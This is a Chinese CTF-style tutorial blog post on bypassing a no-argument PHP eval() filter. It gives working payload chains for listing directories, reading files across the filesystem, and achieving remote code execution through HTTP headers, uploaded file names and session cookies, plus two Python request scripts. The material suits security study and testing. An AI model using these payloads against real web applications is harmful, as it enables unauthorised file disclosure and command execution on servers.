原文:https://www.yuque.com/ni4n/blogs/imxg18
何为无参数?
构造的payload只能是由函数组成,且在套娃(构建payload)期间,函数不能带有参数。
Demo
<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
?>
其正则就规定了我们不能用如下payload
a('123');
但是可用下面那种套娃形式
a(b(c()));
a();
文件读取
遍历目录
遍历当前目录
首先我们考虑用什么函数获取当前目录名
方法一:getcwd()
方法二:构造.
没错就是构造点,我们知道.
即表示当前目录;但是由于不能使用参数,我们就只能用函数去构造点。
那么如何构造?
构造法一:
localeconv()` 返回一包含本地数字及货币格式信息的数组。而数组第一项就是`.
打印一下该函数即可得到下面结果
那么如何获取到这个点?
既然是关于数组的就要考虑用数组相关的函数了。
current() //返回数组中的当前单元,默认取第一个值
pos() //current的别名
reset() //将数组的内部指针指向第一个单元
end() //将数组的内部指针指向最后一个单元
next() //将数组中的内部指针向前移动一位
经测试,前三个函数均可取到.
构造法二:
chr()` 返回相对应于 `ascii` 所指定的单个字符。我们知道46在ASCII码中即表示`.
, 所以可构造chr(46)
。
chr(time())
chr(current(localtime(time())))
构造法三:
crypt()
单向字符串散列
hebrevc(crypt(arg))
可以随机生成一个hash值,第一个字符随机是$(大概率) 或者 .
(小概率) 然后通过chr(ord())
只取第一个字符
print_r(scandir(chr(ord(hebrevc(crypt(time()))))))
strrev(crypt(serialize(array())))` 也可以得到`.
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
还有一些其他的构造方法,可以看文末的参考链接
然后就是用什么函数进行遍历,用什么函数打印出来?
scandir()
列出指定路径中的文件和目录
print_r()
— 以易于理解的格式打印变量
例子:
?code=print_r(scandir(reset(localeconv())));
?code=print_r(scandir(getcwd()));
当print_r
被ban,我们还可以用下面的函数进行打印:
遍历上级目录
方法一:dirname()
首先看个图片,我们可以发现,如果传入dirname()
的值是绝对路径(不包含文件名),则返回的是上一层路径,传入的是文件名绝对路径则返回文件的当前路径。
payload
?code=print_r(scandir(dirname(getcwd())));
方法二:构造..
我们看到在遍历目录时,返回的也是数组,而且第二个就是..
所以我们可以用上面的提到的next()
进行获取,然后再遍历。
payload
?code=print_r(scandir(next(scandir(getcwd()))));
总之只要能能遍历当前目录,那么就能构造出..
如果需要逐级往上遍历,只需要套娃即可。
遍历子目录
通过上面的分析我们已经知道,遍历当前目录后返回的是数组。因此我们只需要通过数组相关函数获取其名字,加以遍历即可,现对其位置进行以下假设:
在最后一个
利用end()
获取
这里以访问最后一个upload-labs目录为例
?code=print_r(scandir(end(scandir(getcwd()))));
或者array_reverse()
反转数组,使其变为第一位,再以current()
类似的函数获取;
?code=print_r(scandir(current(array_reverse(scandir(getcwd())))));
倒数第二个
和上面类似,先反转,这样就变成正数第二个了,我们再用next()
获取:
?code=print_r(scandir(next(array_reverse(scandir(getcwd())))));
其它
array_flip()
交换数组的键和值
array_rand()
从数组中取出一个或多个随机的单元,并返回随机条目的一个或多个键。
我们用array_rand()
会随机返回一个单元的键,但是我们要的是其值,因此可用先用array_flip()
交换数组的键和值,然后再使其随机返回,就有可能读到想要的那个目录。
?code=print_r(scandir(array_rand(array_flip(scandir(getcwd())))));
遍历根目录
strrev(crypt(serialize(array())))`所获得的字符串第一位有几率是`/
所以可用
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
也可以这么用,设置当前工作目录为根目录,然后遍历此目录。
if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd()));
读取文件
读取当前目录文件
通过对当前目录遍历我们就能获取到当前目录有文件名了,那剩下的就是读取。它和遍历子目录差不多,就是把遍历目录的函数换成读取文件的函数
show_source()
highlight_file()
file_get_contents ()
readfile()
readgzfile()
倒数第一个
show_source(current(array_reverse(scandir(getcwd()))));
show_source(end(scandir(getcwd())));
倒数第二个
show_source(next(array_reverse(scandir(getcwd()))));
其它
show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));
读取上级目录文件
此时就涉及到一个问题,就是show_source()
等函数是默认在当前工作目录读取该文件的。即我们需要将上级目录设置为工作目录才能读取。
chdir()
改变目录
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
if(chdir(next(scandir(getcwd()))))show_source(array_rand(array_flip(scandir(getcwd()))));
读取根目录文件
if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd()))));
实现RCE
首先,我们此时有eval
函数,但是我们不能传入参数,那么我们可以考虑传入其他函数以接收其他地方的变量。
可用变量
$_POST
$_GET
$_FILES
$_ENV
$_COOKIE
$_SESSION
那么我们只需要用可用接收这些变量的函数即可
getallheaders()
getallheaders()
获取全部 HTTP 请求头信息
apache_response_headers()
获得全部 HTTP 响应头信息
这就意味着我们在headers里传入参数,再用该函数进行接收即可,但是其局限性在于只能是apeach 环境下。
我们可以试一下在headers里加个参数,看能不能打印出来
我们看到,我们在第一行加的参数,但是它实质上是在数组的最后一位,因此我们可以用end()
获取,然后执行。
payload
?code=eval(end(getallheaders()));
get_defined_vars()
它能获取到以下的变量
$_GET
$_POST
$_FILES
$_COOKIE
所以我们可以利用GET
方式传参,然后执行
payload
?code=eval(end(pos(get_defined_vars())));&ni4n=phpinfo();
但是以下几个可能会被过滤
$_GET
$_POST
$_COOKIE
所以我们可以利用$_FILES
,这样需要写个上传脚本,这里直接贴一个师傅的。
import requests
from io import BytesIO
payload = "system('ls /tmp');".encode('hex')
files = {
payload: BytesIO('sky cool!')
}
r = requests.post('http://localhost/skyskysky.php?code=eval(hex2bin(array_rand(end(get_defined_vars()))));', files=files, allow_redirects=False)
print r.content
session_id()
session_id()
获取/设置当前会话 ID
session_start()
会创建新会话或者重用现有会话。
hex2bin()
转换十六进制字符串为二进制字符串
我们可以用session_start()
设置cookie
,但是有一点限制:文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - 减号),然后用session_id()
获取;
也就是说,如果是读取文件的时候我们可以直接在cookie
处设置PHPSESSID=名字,然后利用打印函数打印出来,命令执行也可这么利用,只要将读取文件函数换成命令执行函数即可。(PHP5.5 -7.1.9可行)
?code=show_source(session_id(session_start()));
其他版本可考虑用hexbin()
将十六进制形式的命令还原。
import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "phpinfo();".encode('hex')
cookies = {
'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content
getenv()
`getenv()```获取一个环境变量的值(只适用于7.1以后版本)
通过array_rand()和array_flip()结合去取我们想要的那个值,但是一般情况下php.ini中,variables_order值为:GPCS,即没有定义Environment(E)变量,无法利用。只有当其配置为EGPCS时才可利用。